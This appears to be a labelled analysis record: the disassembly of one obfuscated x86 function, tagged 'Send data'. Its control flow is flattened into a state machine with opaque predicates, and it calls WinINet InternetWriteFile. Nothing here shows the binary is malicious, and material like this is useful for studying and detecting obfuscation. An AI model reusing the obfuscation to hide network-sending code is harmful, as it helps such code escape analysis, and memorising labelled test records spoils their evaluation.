Function at 0x100208c3
Capabilities:
Send data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
mov ecx, dword [0x10098e6c]
mov edx, dword [0x10098e70]
lea eax, [ecx - 1]
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
sete byte [ebp - 0x15]
cmp edx, 0xa
setl byte [ebp - 0x16]
mov eax, 0xd0a08007
mov esi, 0x30538fa8
cmp eax, 0x13bdc9d4
jle 0x10020941
cmp eax, 0x4f35bf9b
jg 0x10020984
cmp eax, 0x3b113b13
jg 0x10020a70
cmp eax, 0x31ce368a
jle 0x10020bcd
cmp eax, 0x3697af93
jg 0x10020e29
cmp eax, 0x31ce368b
je 0x1002114d
cmp eax, 0x35adeb24
jne 0x100208f9
mov eax, 0x982d52ce
jmp 0x100208f9
cmp eax, 0xd0a08006
jg 0x100209c5
cmp eax, 0xa2ee73a8
jg 0x10020aa1
cmp eax, 0x8e4ffcc4
jle 0x10020c00
cmp eax, 0x977c2606
jg 0x10020ea9
cmp eax, 0x8e4ffcc5
je 0x10021157
cmp eax, 0x963de8eb
je 0x10021128
jmp 0x100208f9
cmp eax, 0x6b3a2e70
jg 0x10020af0
cmp eax, 0x65eb2170
jle 0x10020c2b
cmp eax, 0x68e60916
jg 0x10020eda
cmp eax, 0x65eb2171
je 0x1002119b
cmp eax, 0x68c72503
jne 0x100208f9
mov eax, 0x426681ce
jmp 0x100208f9
cmp eax, 0xfa1d5eaa
jg 0x10020b31
cmp eax, 0xe1c02b60
jle 0x10020c56
cmp eax, 0xf57d5320
jg 0x10020f55
cmp eax, 0xe1c02b61
je 0x100211a5
cmp eax, 0xe3a1e3ea
jne 0x100208f9
mov ecx, dword [ebp - 0x10]
mov eax, dword [0x10098e6c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xb9b9cb23
mov edi, eax
and edi, 0x464634dc
or edi, edx
mov ecx, dword [ecx]
xor edi, 0x464634dd
and eax, 0xfffffffe
or eax, edi
xor eax, 0xdfcc8eea
cmp eax, 0x20337115
setne al
cmp dword [0x10098e70], 0xa
setge dl
mov dh, dl
xor dh, al
or dl, al
mov eax, edx
xor al, dh
mov edi, 0xc050810a
mov eax, 0xfa1d5eab
cmovne edi, eax
test dl, dl
mov eax, 0xc050810a
cmovne eax, edi
mov dword [ebp - 0x4c], ecx
test dh, dh
cmove eax, edi
jmp 0x100208f9
cmp eax, 0x426681cd
jle 0x10020ce9
cmp eax, 0x4d58688c
jg 0x10020fe5
cmp eax, 0x426681ce
je 0x100211b7
cmp eax, 0x49feb593
je 0x10020ed0
jmp 0x100208f9
cmp eax, 0xc0508109
jle 0x10020d14
cmp eax, 0xcc2c2d0d
jg 0x10021048
cmp eax, 0xc050810a
je 0x100211fd
cmp eax, 0xc73faf7a
jne 0x100208f9
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
mov eax, 0x73ad343f
jmp 0x100208f9
cmp eax, 0x73ad343e
jle 0x10020d8e
cmp eax, 0x7d56112d
jg 0x100210dc
cmp eax, 0x73ad343f
je 0x10021207
cmp eax, 0x74b941ac
jne 0x100208f9
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, 0x4d8749b4
jmp 0x100208f9
cmp eax, 0x43e0336
jle 0x10020dfe
cmp eax, 0xd6e1fa8
jg 0x100210fc
cmp eax, 0x43e0337
je 0x10021284
cmp eax, 0xba96e81
jne 0x100208f9
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x284f8a0f
mov edx, eax
and edx, 0xd7b075f0
or edx, ecx
xor edx, 0xd7b075f1
and eax, 0xfffffffe
or eax, edx
xor eax, 0x47d92122
xor eax, 0xb826dedd
sete al
setne cl
cmp dword [0x10098e70], 0xa
setl dl
setge ch
or ch, cl
xor dl, al
mov cl, dl
xor cl, ch
test dl, dl
mov eax, 0x68e60917
mov edi, 0x57cbd0f7
cmovne eax, edi
test ch, ch
mov edx, 0x68e60917
jmp 0x1002174b
cmp eax, 0x1b95db7b
jg 0x10021132
cmp eax, 0x13bdc9d5
je 0x1002129c
cmp eax, 0x1924c387
jne 0x100208f9
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, 0x43e0337
jmp 0x100208f9
cmp eax, 0x80705df9
je 0x10021128
cmp eax, 0x8344cd51
je 0x100212a6
cmp eax, 0x873015ca
jne 0x100208f9
mov eax, 0x8344cd51
jmp 0x100208f9
cmp eax, 0x4f35bf9c
je 0x100212ba
cmp eax, 0x57cbd0f7
je 0x10021325
cmp eax, 0x6346b605
jne 0x100208f9
mov eax, 0xe1c02b61
jmp 0x100208f9
cmp eax, 0xd0a08007
je 0x1002132f
cmp eax, 0xd1f02e27
je 0x10021371
cmp eax, 0xe1492e17
jne 0x100208f9
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x10], eax
push eax
mov ecx, esp
mov edx, dword [0x10098e6c]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
not edx
mov edi, edx
and edi, 0xfffffffe
and eax, 1
or eax, edi
xor edx, eax
test edx, eax
sete al
cmp dword [0x10098e70], 0xa
setl dl
xor al, dl
mov dh, al
mov edi, 0x65eb2171
mov ebx, 0x68c72503
cmovne edi, ebx
not dh
test dh, dl
cmovne edi, ebx
test al, al
mov eax, edi
cmovne eax, ebx
test dh, dl
mov dword [ebp - 0x24], ecx
cmove eax, edi
jmp 0x100208f9
cmp eax, 0x3b113b14
je 0x100213de
cmp eax, 0x3dafdb08
je 0x10021441
cmp eax, 0x3de9a3d5
jne 0x100208f9
mov eax, 0xf57d5321
jmp 0x100208f9
cmp eax, 0xa2ee73a9
je 0x10021475
cmp eax, 0xad2a1668
je 0x10021488
cmp eax, 0xb583ffcf
jne 0x100208f9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov ecx, dword [0x10098e6c]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x10098e70], 0xa
setl dl
xor al, dl
mov ch, dl
xor ch, cl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov cl, dl
xor cl, ch
test dl, 1
mov eax, 0x3ace3ca9
mov edx, 0x13bdc9d5
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov ecx, 0x3ace3ca9
cmove eax, ecx
jmp 0x100208f9
cmp eax, 0x6b3a2e71
je 0x10021492
cmp eax, 0x6b990fd9
je 0x10021501
cmp eax, 0x6be4b203
jne 0x100208f9
mov ecx, dword [ebp - 0x14]
mov edx, dword [0x10098e6c]
mov eax, edx
not eax
imul eax, edx
and al, 1
cmp dword [0x10098e70], 0xa
setge dl
setl dh
xor dh, al
or dl, al
mov bl, dh
xor bl, dl
test dl, dl
mov eax, 0x6346b605
mov edi, 0x4d58688d
cmovne eax, edi
test dh, dh
mov ecx, dword [ecx]
cmovne eax, edi
mov dword [ebp - 0x40], ecx
test bl, bl
mov ecx, 0x6346b605
cmovne eax, ecx
jmp 0x100208f9
cmp eax, 0xfa1d5eab
je 0x10021576
cmp eax, 0xfc975e9a
je 0x10021583
cmp eax, 0xff03bbb5
jne 0x100208f9
mov eax, 0xcec49929
jmp 0x100208f9
cmp eax, 0x3697af94
je 0x100215e5
cmp eax, 0x3ace3ca9
jne 0x100208f9
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x25162c0c
mov edx, eax
and edx, 0xdae9d3f3
or edx, ecx
xor edx, 0xdae9d3f2
and eax, 0xfffffffe
or eax, edx
xor eax, 0x9cf970cb
xor eax, 0x63068f34
sete al
setne cl
cmp dword [0x10098e70], 0xa
setl dl
setge ch
or ch, cl
xor dl, al
mov cl, ch
xor cl, dl
test dl, dl
mov eax, 0x13bdc9d5
mov edi, 0x7fd63166
cmovne eax, edi
test ch, ch
mov edx, 0x13bdc9d5
jmp 0x1002174b
cmp eax, 0x977c2607
je 0x100215ef
cmp eax, 0x982d52ce
jne 0x100208f9
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x44]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0xb583ffcf
jmp 0x100208f9
cmp eax, 0x68e60917
je 0x1002165e
cmp eax, 0x6a4010bc
jne 0x100208f9
mov ecx, dword [0x10098e6c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x10098e70], 0xa
setl dl
xor cl, dl
mov ch, al
xor ch, dl
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov cl, dl
xor cl, ch
test dl, dl
mov eax, 0xcec49929
mov edx, 0xff03bbb5
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, cl
mov ecx, 0xcec49929
cmove eax, ecx
jmp 0x100208f9
cmp eax, 0xf57d5321
je 0x1002166e
cmp eax, 0xf5a80fe9
jne 0x100208f9
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xf3c4b7b2
mov edx, eax
and edx, 0xc3b484d
or edx, ecx
xor edx, 0xc3b484c
and eax, 0xfffffffe
or eax, edx
xor eax, 0xb6019114
xor eax, 0x49fe6eeb
sete al
setne cl
cmp dword [0x10098e70], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov cl, ch
xor cl, ah
test ah, ah
mov eax, 0x6a4010bc
mov edx, 0x3b113b14
cmovne eax, edx
test ch, ch
mov edi, 0x6a4010bc
cmove eax, edi
test cl, cl
cmovne eax, edx
jmp 0x100208f9
cmp eax, 0x4d58688d
je 0x100216d6
cmp eax, 0x4d8749b4
jne 0x100208f9
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x10098e70], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov ch, dl
xor ch, cl
test cl, cl
mov eax, 0xc73faf7a
mov edi, 0x73ad343f
cmovne eax, edi
test dl, dl
mov edx, 0xc73faf7a
cmovne eax, edx
test ch, ch
cmove eax, edi
jmp 0x100208f9
cmp eax, 0xcc2c2d0e
je 0x100216e3
cmp eax, 0xcec49929
jne 0x100208f9
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x97c6a734
mov edx, eax
and edx, 0x683958cb
or edx, ecx
xor edx, 0x683958ca
and eax, 0xfffffffe
or eax, edx
xor eax, 0x6c6ed901
xor eax, 0x939126fe
setne cl
sete dl
cmp dword [0x10098e70], 0xa
setl al
setge ah
and ah, dl
and cl, al
or cl, ah
mov ah, al
xor ah, dl
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xad2a1668
mov edi, 0xff03bbb5
cmovne eax, edi
test cl, cl
cmove eax, edi
test dl, dl
mov ecx, 0xad2a1668
cmove eax, ecx
jmp 0x100208f9
cmp eax, 0x7d56112e
je 0x100216f9
cmp eax, 0x7fd63166
jne 0x100208f9
mov eax, 0x1924c387
jmp 0x100208f9
cmp eax, 0xd6e1fa9
je 0x1002170f
cmp eax, 0x10b1412a
jne 0x100208f9
cmp byte [ebp - 0x19], 0
mov eax, 0x6b990fd9
mov ecx, 0xa2ee73a9
cmovne eax, ecx
jmp 0x100208f9
mov eax, 0xd6e1fa9
jmp 0x100208f9
cmp eax, 0x30538fa8
jne 0x10021758
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, 0x4f35bf9c
jmp 0x100208f9
mov eax, 0x3dafdb08
jmp 0x100208f9
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x10098e70], 0xa
setl cl
xor al, cl
mov edx, eax
mov edi, 0x3697af94
mov ebx, 0x6b3a2e71
cmovne edi, ebx
not dl
test dl, cl
cmovne edi, ebx
test al, al
mov eax, edi
cmovne eax, ebx
test dl, cl
cmove eax, edi
jmp 0x100208f9
mov eax, 0xe1492e17
jmp 0x100208f9
cmp dword [ebp - 0x40], 0
sete byte [ebp - 0x19]
mov eax, 0x10b1412a
jmp 0x100208f9
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0x10]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [eax], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
cmp dword [eax], 0
setne byte [ebp - 0x17]
mov eax, 0xf5a80fe9
jmp 0x100208f9
mov eax, 0x1b95db7c
jmp 0x100208f9
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
mov ecx, dword [0x10098e6c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x4fe37705
and eax, 0xb01c88fa
or eax, edx
xor eax, 0x4fe37704
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x10098e70], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x31ce368b
mov edi, 0xc73faf7a
cmovne edx, edi
test al, al
mov eax, edx
mov edi, 0x31ce368b
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x100208f9
mov eax, dword [ebp - 0x48]
cmp eax, 3
mov eax, 0x80705df9
mov ecx, 0x3de9a3d5
cmove eax, ecx
jmp 0x100208f9
mov eax, 0x3ace3ca9
jmp 0x100208f9
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x3c]
setb byte [ebp - 0x18]
mov eax, 0x7d56112e
jmp 0x100208f9
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10]
add ecx, dword [eax]
mov edx, dword [0x10098e6c]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
not edx
mov edi, edx
and edi, 0xf387d453
and eax, 0xc782bac
or eax, edi
xor eax, 0xf387d452
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x10098e70], 0xa
setge dl
mov dh, dl
or dh, al
xor dl, al
mov bl, dh
xor bl, dl
test dl, dl
mov eax, 0x30538fa8
mov edi, 0x35adeb24
cmovne eax, edi
test dh, dh
cmovne eax, esi
mov dword [ebp - 0x44], ecx
test bl, bl
cmove eax, edi
jmp 0x100208f9
mov eax, 0xd1f02e27
jmp 0x100208f9
mov al, byte [ebp - 0x15]
mov dl, byte [ebp - 0x16]
mov ecx, eax
xor cl, 1
mov ah, dl
xor ah, 1
and dl, cl
or cl, ah
and ah, al
or ah, dl
mov edx, ecx
xor dl, ah
test ah, 1
mov eax, 0x65eb2171
mov edi, 0xe1492e17
cmovne eax, edi
test cl, 1
mov ecx, 0x65eb2171
cmovne eax, ecx
test dl, 1
cmove eax, edi
jmp 0x100208f9
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x10098e6c]
lea edx, [ecx + 1]
imul edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, dword [eax]
not edx
or edx, edi
cmp edx, 0xffffffff
setne al
cmp dword [0x10098e70], 0xa
setge dl
mov dh, al
xor dh, dl
or dl, al
mov ebx, edx
xor bl, dh
test dl, dl
mov eax, 0x873015ca
mov edi, 0xfc975e9a
cmovne eax, edi
mov ecx, dword [ecx]
test dh, dh
cmove eax, edi
mov dword [ebp - 0x3c], ecx
test bl, bl
mov ecx, 0x873015ca
cmove eax, ecx
jmp 0x100208f9
mov ecx, dword [0x10098e6c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x10098e70], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov cl, ah
xor cl, dl
test ah, ah
mov eax, 0xcc2c2d0e
mov edi, 0x6a4010bc
cmovne eax, edi
test dl, dl
cmove eax, edi
test cl, cl
mov ecx, 0xcc2c2d0e
cmove eax, ecx
jmp 0x100208f9
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
sub eax, dword [ecx]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
push dword [ebp - 0x14]
push eax
push dword [ecx]
push dword [edx]
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
mov eax, 0x977c2607
mov ecx, 0xa2ee73a9
cmove eax, ecx
jmp 0x100208f9
mov eax, dword [ebp - 0x28]
mov dword [eax], 3
mov eax, 0x49feb593
jmp 0x100208f9
mov eax, 0x3b113b14
jmp 0x100208f9
mov ecx, dword [0x10098e6c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x5dc7220c
and eax, 0xa238ddf3
or eax, edx
xor eax, 0x5dc7220d
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x10098e70], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov cl, ah
xor cl, ch
test ah, ah
mov eax, 0x3697af94
mov edi, 0x963de8eb
cmovne eax, edi
test ch, ch
mov edx, 0x3697af94
cmove eax, edx
test cl, cl
cmovne eax, edi
jmp 0x100208f9
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1956a699
mov edx, eax
and edx, 0xe6a95966
or edx, ecx
xor edx, 0xe6a95967
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x10098e70], 0xa
setge cl
setl dl
and dl, al
mov ch, al
inc ch
and ch, cl
or ch, dl
or cl, al
mov edx, ecx
xor dl, ch
test cl, cl
mov eax, 0x4f35bf9c
mov edi, 0x30538fa8
cmovne eax, edi
test ch, ch
mov esi, 0x30538fa8
cmove eax, edi
test dl, dl
mov ecx, 0x4f35bf9c
cmove eax, ecx
jmp 0x100208f9
mov eax, dword [ebp - 0x10]
mov eax, 0xe3a1e3ea
jmp 0x100208f9
mov ecx, dword [0x10098e6c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x9c0f76af
and eax, 0x63f08950
or eax, edx
xor eax, 0x63f08951
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x10098e70], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov ch, cl
xor ch, dl
test cl, cl
mov eax, 0xba96e81
mov edi, 0x68e60917
cmovne eax, edi
test dl, dl
cmove eax, edi
test ch, ch
mov ecx, 0xba96e81
cmove eax, ecx
jmp 0x100208f9
mov eax, 0x6b3a2e71
jmp 0x100208f9
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1e6c8487
mov edx, eax
and edx, 0xe1937b78
or edx, ecx
xor edx, 0xe1937b79
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x10098e70], 0xa
setge dl
setl ah
and ah, al
and cl, dl
or cl, ah
or dl, al
mov ch, dl
xor ch, cl
test dl, dl
mov eax, 0x6be4b203
mov edx, 0x4d58688d
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, ch
mov ecx, 0x6be4b203
cmove eax, ecx
jmp 0x100208f9
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, 0xba96e81
jmp 0x100208f9
mov eax, dword [0x10098e6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x60f606cb
mov edx, eax
and edx, 0x9f09f934
or edx, ecx
xor edx, 0x9f09f935
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x10098e70], 0xa
setge cl
setl dl
xor dl, al
or cl, al
mov ch, dl
xor ch, cl
test cl, cl
mov eax, 0xe3a1e3ea
mov edi, 0xfa1d5eab
cmovne eax, edi
test dl, dl
cmovne eax, edi
test ch, ch
mov ecx, 0xe3a1e3ea
cmovne eax, ecx
jmp 0x100208f9
mov eax, dword [ebp - 0x14]
mov eax, 0x6be4b203
jmp 0x100208f9
cmp byte [ebp - 0x17], 0
mov eax, 0xf57d5321
mov ecx, 0x8e4ffcc5
cmovne eax, ecx
jmp 0x100208f9
cmp byte [ebp - 0x18], 0
mov eax, 0x3de9a3d5
mov ecx, 0x74b941ac
cmovne eax, ecx
jmp 0x100208f9
mov ecx, dword [0x10098e6c]
mov eax, 0xc658eadb
sub eax, ecx
imul eax, ecx
and al, 1
cmp dword [0x10098e70], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xfc975e9a
mov edi, 0xd1f02e27
cmovne eax, edi
test dl, dl
mov edx, 0xfc975e9a
cmovne eax, edx
test cl, cl
cmove eax, edi
jmp 0x100208f9
cmp eax, 0x1b95db7c
jne 0x100208f9
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x4c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret